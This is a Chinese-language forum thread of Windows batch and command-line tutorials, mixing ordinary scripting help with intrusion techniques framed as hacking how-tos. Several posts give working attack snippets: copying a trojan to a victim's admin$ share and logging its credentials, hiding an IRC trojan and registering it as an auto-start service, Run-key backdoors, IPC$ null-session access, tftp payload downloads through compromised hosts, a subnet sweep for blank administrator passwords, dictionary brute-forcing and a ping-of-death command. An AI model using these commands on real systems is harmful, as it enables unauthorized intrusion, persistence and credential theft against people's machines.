Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果遠端服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出來了麼?用於終端服務允許我們為用戶自定義起始的程式,來實現讓用戶執行下面這個bat,以獲得登入用戶的IP。

2.>、>>輸出重定向命令
將一條命令或某個程式輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程式後,對該目錄下的EXE和DLL文件作一個記錄:
執行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後執行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過檢視創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到資源回收筒裡,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個控制碼的輸出寫入到另一個控制碼的輸入中。
<& 從一個控制碼讀取輸入並將其寫入到另一個控制碼輸出中。
這些並不常用,也就不多做介紹。

五.如何用批處理文件來操作註冊表

在入侵過程中經常回操作註冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程式而刪除Run下殘餘的鍵值。或者創建一個服務用以載入後門。當然我們也會修改註冊表來加固系統或者改變系統的某個內容,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用.REG文件來操作註冊表.(我們可以用批處理來產生一個REG文件)
關於註冊表的操作,常見的是創建、修改、刪除。

1.創建
創建分為兩種,一種是創建子項(Subkey)

我們創建一個文件,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為「hacker」的子項。

另一種是創建一個專案名稱
那這種文件格式就是典型的文件格式,和你從註冊表中匯出的文件格式一致,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新增了:Invader、door、about這三個專案
Invader的類型是「String Value」
door的類型是「REG SZ Value」
Autodos的類型是「DWORD Value」


2.修改
修改相對來說比較簡單,只要把你需要修改的專案匯出,然後用記事本進行修改,然後匯入(regedit /s)即可。

3.刪除
我們首先來說說刪除一個專案名稱,我們創建一個如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-

執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;

我們再看看刪除一個子項,我們創建一個如下的腳本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。

相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。

samlpe1:如上面的那個例子,如想產生如下註冊表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我們現在在使用一些比較老的木馬時,可能會在註冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下產生一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程式的路徑,從而導致木馬被查殺,相對地若是將木馬程式註冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [刪除DSNXDE在註冊表中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和只讀,並config為自啟動]
@REM 這樣不是更安全^_^.

六.精彩實例放送。
1.刪除win2k/xp系統預定共享的批處理
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF

:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------


------------------------ cut here then save as .bat or .cmd file ---------------------------

經過一番思索,找到了一個解決辦法,可以實現順序給文件命名(或改名)。
在windows xp professional sp2 下測試通過!

CODE:

@echo off
setlocal enabledelayedexpansion
set num=1
for %%i in (*.log) do (
ren %%~nxi !num!.log
set /a num=!num!+1
)
endlocal


[Copy to clipboard]


複製這段代碼,儲存成任意文件名,後綴是bat,放到要命名或要改名的文件所在的資料夾裡,雙擊執行。

修改代碼中兩個文件後綴log,可以按自己的需要個性化一下。
比如:

CODE:

@echo off
setlocal enabledelayedexpansion
set num=1
for %%i in (*.txt) do (
ren %%~nxi !num!.txt
set /a num=!num!+1
)
endlocal


[Copy to clipboard]


就可以把所有txt文件順序命名或改名。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 05:47 AM   #5 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

一次註冊所有dll文件(解決記憶體不能為read等問題)

系統dll文件沒有註冊,可能引起各種各樣不可知的問題,比如無法打開二級鏈接,經常出現「記憶體不能為read或written」等錯誤。如何一下把所有的dll文件重新註冊一遍呢?

執行中輸入cmd,在命令提示字元下輸入:

for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1

注意,是在命令提示字元下,不是在「執行框」中!!

你也可以更改註冊文件的路徑,不一定在system32資料夾下。這比用軟件方便多了。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 05:48 AM   #6 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

最齊全的DOS命令

net use $">\\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use $">\\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: $">\\ip\c$ "密碼" /user:"用戶名" 直接登入後映射對方C:到本機為H:
net use h: $">\\ip\c$ 登入後映射對方C:到本機為H:
net use $">\\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本機的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 啟動guest用戶
net user 檢視有哪些用戶
net user 帳戶名 檢視帳戶的內容
net localgroup administrators 用戶名 /add 把「用戶」新增到管理員中使其具有管理員權限,注意:administrator後加s用複數
net start 檢視開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 檢視對方時間
net time \\目標ip /set 設置本機電腦時間與「目標IP」主機的時間同步,加上參數/yes可取消確認訊息
net view 檢視本機局域網內開啟了哪些共享
net view \\ip 檢視對方局域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 離線連接的共享
net pause 服務名 暫停某服務
net send ip "文本訊息" 向對方發訊息
net ver 局域網內正在使用的網路連接類型和訊息
net share 檢視本機開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登入後用將密碼改為12345
net password 密碼 更改系統登入密碼
netstat -a 檢視開啟了哪些連接阜,常用netstat -an
netstat -n 檢視連接阜的網路連接情況,常用netstat -an
netstat -v 檢視正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 檢視某協議使用情況(檢視tcp/ip協議使用情況)
netstat -s 檢視正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個連接阜開了的話,就可檢視對方最近登入的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或電腦名) 跟蹤路由(資料包),參數:「-w數位」用於設置超時間隔。
ping ip(或域名) 向對方主機發送預定大小為32字節的資料,參數:「-l[空格]資料包大小」;「-n發送資料次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)檢視本機ip位址,ipconfig可用參數「/all」顯示全部配置訊息
tlist -t 以樹行列表顯示工作行程(為系統的附加工具,預定是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 工作行程名 加-F參數後強制結束某工作行程(為系統的附加工具,預定是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有只讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 磁碟代號\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 檢視所有的計劃任務
at \\ip time 程式名(或一個命令) /r 在某時間執行對方某程式並重新啟動電腦
finger username @host 檢視最近有哪些用戶登入
telnet ip 連接阜 遠和登入服務器,預定連接阜為23
open ip 連接到IP(屬telnet登入後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe $">\\ip\admin$ 複製本機c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中產生3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.exe文件(所有文件)至本機C:
xcopy 要複製的文件或目錄樹 目標位址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登入後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登入後,上傳本機c:\server.exe至主機
ftp ip 連接阜 用於上傳文件檔案至服務器或進行文件操作,預定連接阜為21。bin指用二進制方式傳送(可執行文件進);預定為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路位址Network addres,子網掩碼Netmask,網路閘道器位址Gateway addres,接頭位址Interface
arp 檢視和處理ARP快取記憶體,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC卡位址。arp -a將顯示出全部訊息
start 程式名或命令 /max 或/min 新開一個新視窗並最大化(最小化)執行某程式或命令
mem 檢視cpu使用情況
attrib 文件名(目錄名) 檢視某文件(目錄)的內容
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(新增)某文件的 存檔,只讀,系統,隱藏 內容;用+則是新增為某內容
dir 檢視文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程式,並顯示出:請按任意鍵繼續....
if 在批處理程式中執行條件處理(更多說明見if命令及變數)
goto 標籤 將cmd.exe導向到批處理程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)
call 路徑\批處理文件名 從批處理程式中呼叫另一個批處理程式 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 訊息 在螢幕上顯示出訊息
echo 訊息 >> pass.txt 將"訊息"儲存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD視窗標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示字元(把C:\、D:\統一改為:EntSky\ )
print 文件名 印表文本文件

ver 在DOS視窗下顯示版本訊息
winver 彈出一個視窗顯示版本訊息(記憶體大小、系統版本、修正檔版本、電腦名)
format 磁碟代號 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個資料夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新呼叫win2k命令,並創建巨集)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務預定連接阜23為其它任何連接阜
exit 退出cmd.exe程式或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表文件名 匯入註冊表;參數/S指安靜模式匯入,無任何提示;
regedit /e 註冊表文件名 匯出註冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的訪問權限;/G 用戶名erm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 檢視文件的訪問用戶權限列表
REM 文本內容 在批處理文件中新增註解
netsh 檢視或更改本機網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k電腦(但有提示系統將重啟訊息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本機系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制停止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠端服務器的所有響應訊息。
-d 使用除錯方式。
-n 限制ftp的自動登入,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 檢視命令說明
bye 或 quit 停止主機FTP工作行程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本機文件名 [上傳到主機上的文件名] 將本機一個文件傳送至遠端主機中
get 或 recv [遠端主機文件名] [下載到本機後的文件名] 從遠端主機中傳送至本機主機中
mget [remote-files] 從遠端主機接收一批文件至本機主機
mput local-files 將本機主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本機文件,就將結果寫至本機文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一層目錄
close 中斷與遠端服務器的ftp會話(與open對應)
open host[port] 建立指定ftp服務器連接,可指定連接連接阜
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登入遠端主機
open host [port] 重新增立一個新的連接
prompt 交互提示模式
macdef 定義巨集命令
lcd 改變當前本機主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件權限
case 當為ON時,用MGET命令拷貝的文件名到本機機器中,全部轉換為小寫字母
cd remote-dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本機機中執行交互shell,exit回到ftp環境,如!ls*.zip

MYSQL 命令:
mysql -h主機位址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登入主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統訊息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (字段設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本機或遠端主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數位 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠端主機。
例:shutdown /r /t 0 立即重啟本機主機(無延時)
taskill /參數 工作行程名或工作行程的pid 停止一個或多個任務和工作行程。
參數說明:/PID 要停止工作行程的pid,可用tasklist命令獲得各工作行程的pid,/IM 要停止的工作行程的工作行程名,/F 強制停止工作行程,/T 停止指定的工作行程及他所啟動的子工作行程。
tasklist 顯示當前執行在本機和遠端主機上的工作行程、服務、服務各工作行程的工作行程標識符(PID)。
參數說明:/M 列出當前工作行程載入的dll文件,/SVC 顯示出每個工作行程對應的服務,無參數時就只列出當前的工作行程。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本訊息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 檢視文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 複製文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取權限
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 檢視自己的帳號名稱
groups 檢視某人的Group
passwd 更改密碼
history 檢視自己下過的命令
ps 顯示工作行程狀態
kill 停止某工作行程
gcc 黑客通常用它來編譯C語言寫的文件
su 權限轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某服務器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而呼叫變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0預定給批處理文件名使用,%1預定為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use $">\\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理預定的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find檢視是否有"命令成功完成"訊息;%1.%%G 為完整的IP位址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP位址(預定)。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 06:00 AM   #7 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

給cmd.exe的使用加上口令(使用的是perl腳本)

給cmd.exe的使用加上口令(使用的是perl腳本)

發表時間:2006-4-15 1:16:05 作者: 來源:www.hackbase.com 編輯:


最近 重新鞏固 perl 翻出以前初學的代碼 改了一下 配套 讓win 的cmd 使用 linux 的方法 給cmd 的使用 加上 口令驗證 呵呵
下面的這個是 設置在執行cmd.exe 的時候 自動執行 linux.bat 的 方法:
打開註冊表編輯器,
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
將"AutoRun"="linux.bat"

接著就是 linux.bat的內容了
@echo off
@titel 需要口令的cmd.exe
@color c
@prompt [fire@火焰linux $p]
@doskey pwd=cd $*
@doskey mkdir=md $*
@doskey rmdir=rd $*
@doskey mv=move $*
@doskey clear=cls
@doskey uname=ver
@doskey cp=copy
